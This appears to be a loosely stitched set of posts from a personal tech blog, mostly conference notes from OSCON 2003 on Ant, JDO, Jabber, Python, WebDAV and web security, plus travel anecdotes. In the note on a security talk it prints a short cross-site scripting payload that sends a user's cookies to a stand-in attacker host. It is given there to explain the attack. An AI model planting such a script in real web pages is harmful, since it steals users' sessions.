meta-markup: kwiki
This turned out to be kind of hard to get right, because I write my
posts on Windows, then upload them in binary format, so the
meta plug-in wasn’t splitting lines right. All I had to do was
change the regex from [\n] to [\r*\n] to be tolerant of Windows line
endings.
Note: revised because I decided to make all story bodies XML.
Automated Testing of Large Projects with Perl
: by Andy Lester
Java Data Objects (JDO): What It Is and Why It Matters by Ron
Hitchens, Ronsoft Technologies.
Programs in Java use JDBC to access data from a database. Such programs using this base level abstraction have multiple issues:
* SQL is directly embedded in the java code,
* The data sources are hard coded into
the java code,
* Connections are explicitly opened and closed by each programmer,
* Cursors and Statements are explicitly managed in the code.
Apache Ant is a Java-based build tool. The session started with Ant is kind of like make. Ant is extended using Java classes. Instead of writing shell commands, the configuration files are XML-based, calling out a target tree where various tasks get executed. Each task is run by an object that implements a particular Task interface.
Ant has been awarded the Java Pro 2003 Readers’ Choice Award for Most Valuable Java Deployment Technology. However, it can also be used for other
technologies like XML, web services and web applications.
I’m in the Rapid City airport waiting to head home.
The visit to the South Dakota DOT went well, and now we wait and see if it leads
anywhere. The trip itself has been fine so far. Nice rental car (a brand new
Mitsubishi Endeavor that had a compass that showed every direction as East or
Southeast), no highway traffic, and good motels. The Holiday Inn Express in
Pierre had a great bed, and the Hampton Inn in Rapid City had high-speed Internet
in the rooms (for $6 per day).
It’s not that easy to get to Pierre, SD from Georgia. The only flights into Pierre are 19-seaters, which I prefer not to fly ever since I had to gate check my briefcase on one and my PC got broken. So I’m driving 75 miles from Macon to Atlanta, flying to Salt Lake City and then Rapid City, then driving about 200 miles to Pierre. Door-to-door will take about 13 hours. (Later update: due to late arrival in SLC our bags didn’t make the connection, and we had to wait 2 hours for them on the next flight. Door-to-door was 15 hours, though we did get to take an hour for dinner.)
I think I know why I’ve been having ThinkPad crashes. I’ve been going nuts with
updating applications and drivers, but it’s done no good. I thought I had it when
I rebuilt a T30 drive from scratch and the problems went away, but when I did that
for a T40, it crashed, too.
Request Tracker is a customizable trouble ticketing system written in Perl.
The fundamental entity in RT is the ticket. The definition of a ticket depends on how RT is being used. For example,
customer support requests, bugs in software or items in a to-do list could be tickets in RT. RT allows user interactions to take
place with email or with a web browser.
Jabber is a XML protocol for instant messaging and presence detection. The Jabber
protocol is officially known as XMPP (Extensible Messaging and Presence Protocol) by IETF. It may be used
as a substitute for programs like AOL Instant Messenger and Yahoo Messenger. Uses of Jabber are not limited to
instant messaging. Other possible uses include presence detection of devices (or people), sending structured data between
clients and a content delivery system.
Python is a high level object oriented programming language. Simple client and
server applications can be written in Python much faster than in most languages used today. During his presentation,
Steve Holden demonstrated a client/server application, an SMTP client, a POP3 client, a FTP client, a HTTP client and
a HTTP server. The HTTP server was written with three lines of code. Copies of Steve’s demo programs may be downloaded
here.
This tutorial began with a description of the XML-RPC and SOAP protocols. The most important point discussed about
XML-RPC and SOAP was that XML-RPC is much easier to use and understand than SOAP. In many cases people have been
using SOAP when a simpler protocol like XML-RPC would suffice. The rest of the session consisted of
example PHP programs that used these protocols. The PHP SOAP extensions are usable, but they are not completely coded.
More info about this tutorial is available here
During his Thursday session at OSCON 2003, Chris Shifflett explained two types of
security vulnerabilities that may exist in a web site. The examples presented used
the PHP programming language, but these vulnerabilities may occur in CGI programs
written in any language. A copy of the presentation should be available
here.
Cross Site Scripting (XSS) exploits the trust a user has for a web site. It
usually involves sites displaying foreign data such as web mail applications,
web forums and guest books. XSS may be used to trick a user into executing malicious
scripts and to steal cookies. Web sites often use cookies to determine whether a
user has authorization to perform certain actions. The following Javascript code
may be used by a hacker to steal a user’s cookies:
< script>
document.location = "http://evil-cookie-monster.org/stealcookies.cgi?cookies=" + document.cookie
</script>
Leaving Portland
Why Benchmark?
This session is given by Jeremy Zawodny. He works for Yahoo as their MySQL guy with their Platform Timing Group. He
also actively contributes to testing MySQL and he personally knows Monty Widenius (Co-Founder and chief developer
of MySQL).
Milton Ngan of Weta Digital is going to talk about creating the visual
effects for the Twin Towers using open source. I can’t type with my PC on
my knee, and there will probably be a lot of eye candy I couldn’t describe
anyway, so that ends this post!
Greg Stein of CollabNet is presenting. WebDAV is web-based distributed
authoring and versioning. Often just called “DAV”. This turns the web into
a writable medium that enables interoperability of web authoring tools.
It’s based on extension to HTTP, and uses XML for properties, control and
status.
This side room has a few tables, so I can probably take more notes. (I
really wish I’d been able to take more notes for George Dyson’s talk earlier
this morning._ This talk is being given by Maciej Ceglowski, Aaron
Coburn, and Seth Raphael of the National Institute for Technology and Liberal
Education (NITLE), or will be, once they get the projector working. NITLE
is a consortium of liberal arts colleges.
Miguel de Icaza will talk about the open source framework he’s working on
that’s similar to(?)/compatible with(?) Microsoft’s .NET. I know it started
as an effort to be a plug-in replacement for most of .NET, but I think it
may have been scaled back.
It’s the last day, and it’s only going to be a half day. They’ve removed
all the tables from the rooms, so I won’t be writing much. I can use the
computer on my lap, but I can’t type well that way.
Charles Engelke's Blog 